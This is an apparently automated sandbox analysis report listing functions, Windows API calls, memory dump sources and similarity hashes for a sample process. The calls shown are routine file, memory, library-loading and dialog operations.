Function 0031ACD4 Relevance: 3.1, APIs: 2, Instructions: 134COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-000018C0,00000000,00000800,?,0031ACB0,?,?,00000000,?,?,00319C8B,?), ref: 0031AE3A
GetLastError.KERNEL32(?,?,00319C8B,?,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000), ref: 0031AE49

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0f3777aa29ff964151aae5b3c154a317b99927ba6bbc83ec6de9c83b5d2430b4
Instruction ID: b2b2770a989356bc7c767af99fb1f22dccc38f7ac0988d61fd2d879410161445
Opcode Fuzzy Hash: 0f3777aa29ff964151aae5b3c154a317b99927ba6bbc83ec6de9c83b5d2430b4
Instruction Fuzzy Hash: 83412734205F458BD72EAE64E8946EA73A9FF4C313F11052AE84587E50DB71DCC48B63

Uniqueness

Uniqueness Score: -1.00%

Function 0033CBE7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0033A515: GetLastError.KERNEL32(?,00353070,00335982,00353070,?,?,00335281,00000050,?,00353070,00000200), ref: 0033A519
Part of subcall function 0033A515: _free.LIBCMT ref: 0033A54C
Part of subcall function 0033A515: SetLastError.KERNEL32(00000000,?,00353070,00000200), ref: 0033A58D
Part of subcall function 0033A515: _abort.LIBCMT ref: 0033A593

Part of subcall function 0033CD0E: _abort.LIBCMT ref: 0033CD40
Part of subcall function 0033CD0E: _free.LIBCMT ref: 0033CD74

Part of subcall function 0033C97B: GetOEMCP.KERNEL32(00000000,?,?,0033CC04,?), ref: 0033C9A6

_free.LIBCMT ref: 0033CC5F
_free.LIBCMT ref: 0033CC95

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 7a4097d201ad9e39220ab496a393036efbe0ec3aac90bb24b6908fd175d409d1
Instruction ID: fe47a2593c8d1e1abfb654cff985b8a709f98f57e8e4172ca27ea9ae3bf3647d
Opcode Fuzzy Hash: 7a4097d201ad9e39220ab496a393036efbe0ec3aac90bb24b6908fd175d409d1
Instruction Fuzzy Hash: 3A31D871904204AFDB16DF69D4C1B5DB7F5EF41320F251099F408AF2A1DB769D41DB40

Uniqueness

Uniqueness Score: -1.00%

Function 0031B032 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00317ED0,?,?,?,00000000), ref: 0031B04C
SetFileTime.KERNELBASE(?,?,?,?), ref: 0031B100

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 8f3e3d83e581bcfab83245e8e3f26912132f15ce80ad541e5d678e2b26b71b81
Instruction ID: b6f5d4920523ff2ddb765170867bd69cdc471702fa7faf31783a8c15cd491b1b
Opcode Fuzzy Hash: 8f3e3d83e581bcfab83245e8e3f26912132f15ce80ad541e5d678e2b26b71b81
Instruction Fuzzy Hash: CC21F032248241ABC72ADE74C891AABFBE8AF5D304F05491CB4E1C7151D729E94C9B62

Uniqueness

Uniqueness Score: -1.00%

Function 0031A8CE Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,0031B1B7,?,?,003181FD), ref: 0031A946
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,0031B1B7,?,?,003181FD), ref: 0031A976

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1277d521da878451fea27004502e6848b38ee8e2f867007433f26443dcbc2e96
Instruction ID: 3f56bc1b6dbeaf5375c5cf589c43b7b1c46ebfd951be28013f4d433e8474807b
Opcode Fuzzy Hash: 1277d521da878451fea27004502e6848b38ee8e2f867007433f26443dcbc2e96
Instruction Fuzzy Hash: BB21D371504B486EE3718A65CC89BF776ECEB4D322F420A29F9D5C61C1C774A8C5C672

Uniqueness

Uniqueness Score: -1.00%

Function 00311F30 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00311F35

Part of subcall function 003142F1: __EH_prolog.LIBCMT ref: 003142F6

_wcslen.LIBCMT ref: 00311FDA

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 5cef8e2ba561edc45e35c829315a2fe8cc800bf0528743c5f84ff892558aee08
Instruction ID: 964c765a071c593b1b8ed47ed42d60b46efbf278600819734710398fdff4f5f6
Opcode Fuzzy Hash: 5cef8e2ba561edc45e35c829315a2fe8cc800bf0528743c5f84ff892558aee08
Instruction Fuzzy Hash: 2A218B32904218AFCF1AAF98DC919EEFBB6BF0C300F10052DF545AB6A1C7755992CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00334D02 Relevance: 3.1, APIs: 2, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,003740C4,?,?,?,00334EF6,00000004,InitializeCriticalSectionEx,00347424,InitializeCriticalSectionEx,00000000,?,00334CAD,003740C4,00000FA0), ref: 00334D85
GetProcAddress.KERNEL32(00000000,?), ref: 00334D8F

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: a4cff0e7f2eb8cacb69c8cb36f28034f0f42ca0f678b022f9223fda4d024b321
Instruction ID: 0721d24eecbc1f94922afec474fd8008a3a4ab7308577bf8e38dfe4a9cf3cc11
Opcode Fuzzy Hash: a4cff0e7f2eb8cacb69c8cb36f28034f0f42ca0f678b022f9223fda4d024b321
Instruction Fuzzy Hash: 1C118E36600515AF8B23DFA4E8C09AA77A8FB46350F250169E905DB251EB30FD41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0031B110 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 0031B157
GetLastError.KERNEL32 ref: 0031B164

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fdf806d8ea82a73910b588ab43508574e104101f3be742e30669492c5d160ea2
Instruction ID: ed4d694defe38454e6240ca026078750a306e08b5f181058f1d842d74763919b
Opcode Fuzzy Hash: fdf806d8ea82a73910b588ab43508574e104101f3be742e30669492c5d160ea2
Instruction Fuzzy Hash: 5811CE31600700BBD72B8A28C855BE6F3E9AB09370F624638E553935D0E770AD85C660

Uniqueness

Uniqueness Score: -1.00%

Function 0032BFB3 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0031D6A7: _wcslen.LIBCMT ref: 0031D6AF

Part of subcall function 00323338: _wcslen.LIBCMT ref: 00323340
Part of subcall function 00323338: _wcslen.LIBCMT ref: 00323351
Part of subcall function 00323338: _wcslen.LIBCMT ref: 00323361
Part of subcall function 00323338: _wcslen.LIBCMT ref: 0032336F
Part of subcall function 00323338: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0031C844,?,?,00000000,?,?,?), ref: 0032338A

Part of subcall function 0032BC19: SetCurrentDirectoryW.KERNELBASE(?,0032BFF6,00361890,00000000,00362892,00000006), ref: 0032BC1D

_wcslen.LIBCMT ref: 0032C00F
SHFileOperationW.SHELL32(?,?,?,?,?,00362892,00000006), ref: 0032C048

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$CompareCurrentDirectoryFileOperationString
String ID:
API String ID: 1016385243-0
Opcode ID: 7982c693b4f60c546587196a2bfedf3949d07e5d5ea104631b8ef1562079b290
Instruction ID: 35b17abeb430633016cea1836d1050048241a31d588b83d03dadb34ab0b5e863
Opcode Fuzzy Hash: 7982c693b4f60c546587196a2bfedf3949d07e5d5ea104631b8ef1562079b290
Instruction Fuzzy Hash: 64014471D00268A5DF23ABA4ED0AEDF73FCAF08740F044465F605E7195E7B896848B95

Uniqueness

Uniqueness Score: -1.00%

Function 0033A6A4 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0033A6C5

Part of subcall function 0033A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0033DBEC,00000000,?,003380B1,?,00000008,?,0033A871,?,?,?), ref: 0033A830

HeapReAlloc.KERNEL32(00000000,?,?,?,?,003530C4,0031187A,?,?,00000007,?,?,?,003113F2,?,00000000), ref: 0033A701

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: f7c77c14ade51af60c2bde8671c3b7ba70a4a32387a311ab8d3f12373dd194e5
Instruction ID: 0c7cd854db02483054246433481e3ea61aa97c16908e87296eeb9b3cf58b5550
Opcode Fuzzy Hash: f7c77c14ade51af60c2bde8671c3b7ba70a4a32387a311ab8d3f12373dd194e5
Instruction Fuzzy Hash: BFF0FC31101D10A7C7232B255CC3F5B375C9FC1BB0F1A4115F8956A0A1EF20DC409667

Uniqueness

Uniqueness Score: -1.00%

Function 003223BD Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 003223CA
GetProcessAffinityMask.KERNEL32(00000000), ref: 003223D1

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 17557415342a801f163e3c044f17f4b14e82097e012830bcc23c1630baf73315
Instruction ID: b3667ee0d6371cd3adb15b313cc84bbcc71f4c2d23a73891c2d6db2ff21584fc
Opcode Fuzzy Hash: 17557415342a801f163e3c044f17f4b14e82097e012830bcc23c1630baf73315
Instruction Fuzzy Hash: D1E09A3AB10125BB8F1ACBA4BC059EBB2ECEA44304721817AA603E3100E978ED0546A0

Uniqueness

Uniqueness Score: -1.00%

Function 0031B8E6 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B8FA

Part of subcall function 0031CF32: _wcslen.LIBCMT ref: 0031CF56

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0031B5B5,?,?,?,0031B405,?,00000001,00000000,?,?), ref: 0031B92B

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 9f7019a6b07dc1ca71ce1daef8d885fc694ef9ff762c3b34fa123465671a8f7b
Instruction ID: 55e7b044e9ee92093d071dff71a3d4ab5c16e06a8a964c0bbad0ee442e7a4dfe
Opcode Fuzzy Hash: 9f7019a6b07dc1ca71ce1daef8d885fc694ef9ff762c3b34fa123465671a8f7b
Instruction Fuzzy Hash: 8EF0A935144209BBDF129FA0CC00BDA77ACBF083C5F008060BA44DA164DB31EDA5DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0031B470 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,?,0031A438,?,?,?,?,0031892B,?,?,?,0034380F,000000FF), ref: 0031B481

Part of subcall function 0031CF32: _wcslen.LIBCMT ref: 0031CF56

DeleteFileW.KERNEL32(?,?,?,00000800,?,0031A438,?,?,?,?,0031892B,?,?,?,0034380F,000000FF), ref: 0031B4AF

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 70cabd26ac691047648a01c9b156f54ea9d896796e77da20f877364df5137de5
Instruction ID: 5b7145edb6cc117108e5b14871c54aa23feb6615c8aa65c6e762e4406ee1634a
Opcode Fuzzy Hash: 70cabd26ac691047648a01c9b156f54ea9d896796e77da20f877364df5137de5
Instruction Fuzzy Hash: 5BE022361402086BEB025B60CC00FDA736CBF08382F048030BA04CA091DF20ECD4DA10

Uniqueness

Uniqueness Score: -1.00%

Function 0032BD81 Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,0034380F,000000FF), ref: 0032BDB5
OleUninitialize.OLE32(?,?,?,?,0034380F,000000FF), ref: 0032BDBA

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 3af36da0c9c33952fdd6f2592b115cd888219634328a8e3134b6d7c10bf9ad71
Instruction ID: df09d55252e5d3af66f2d98a65e7e14456b87c46c5db75b1b04007178ee85bfd
Opcode Fuzzy Hash: 3af36da0c9c33952fdd6f2592b115cd888219634328a8e3134b6d7c10bf9ad71
Instruction Fuzzy Hash: 30E03072504A50AFC7129B49DC05B49FBBDFB89B20F108226B41597760CB747801CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0032F002 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0032F02C

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

SetDlgItemTextW.USER32(00000065,?), ref: 0032F043

Part of subcall function 0032C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0032C769
Part of subcall function 0032C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032C77A
Part of subcall function 0032C758: IsDialogMessageW.USER32(00020486,?), ref: 0032C78E
Part of subcall function 0032C758: TranslateMessage.USER32(?), ref: 0032C79C
Part of subcall function 0032C758: DispatchMessageW.USER32(?), ref: 0032C7A6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 8fe3a6bba0671e86a0151abe5f1f4fbdec39130064ef14eb2570f3b1d245252f
Instruction ID: 38939610cb5f99206a51fbde6b3a79f5cf696b540f2b5304b51af28232f56f61
Opcode Fuzzy Hash: 8fe3a6bba0671e86a0151abe5f1f4fbdec39130064ef14eb2570f3b1d245252f
Instruction Fuzzy Hash: 09E02BB14143483ADF036761DC0AFEE366C5F083CAF040061B2009A0B2D6B485509B62

Uniqueness

Uniqueness Score: -1.00%

Function 0031B4D3 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0031B4CA,?,00318042,?), ref: 0031B4E4

Part of subcall function 0031CF32: _wcslen.LIBCMT ref: 0031CF56

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,0031B4CA,?,00318042,?), ref: 0031B510

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 629c62e57f80bb3f250167fb34f67d1b8daa5701398ee4d7864e1149963196a2
Instruction ID: b0e9eeedf6fb973a9dedb65204111f7f93edd8a4a7a167d2fb61a2a2905516eb
Opcode Fuzzy Hash: 629c62e57f80bb3f250167fb34f67d1b8daa5701398ee4d7864e1149963196a2
Instruction Fuzzy Hash: 0AE0D8355402287BCB22AB64DC04BD9B76DAB0E3E1F010170FE45E71A5DB70AD80CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00321B3B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00321B56
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0032063A,Crypt32.dll,00000000,003206B4,00000200,?,00320697,00000000,00000000,?), ref: 00321B78

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 7271c2acc1510baf508d1d122f7d1a7a2ae1b690c0f3247249a727a23085a83c
Instruction ID: 7c089b1e3a586191de6f4d64d1247942cef2f69923e74b294ed6fc0ec01e5a35
Opcode Fuzzy Hash: 7271c2acc1510baf508d1d122f7d1a7a2ae1b690c0f3247249a727a23085a83c
Instruction Fuzzy Hash: 8AE048775001286ADB1297A4DD05FDA776CEF1D7C1F0400757645E6004DA74EA84CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0032B3C8 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0032B3E9
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0032B3F0

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
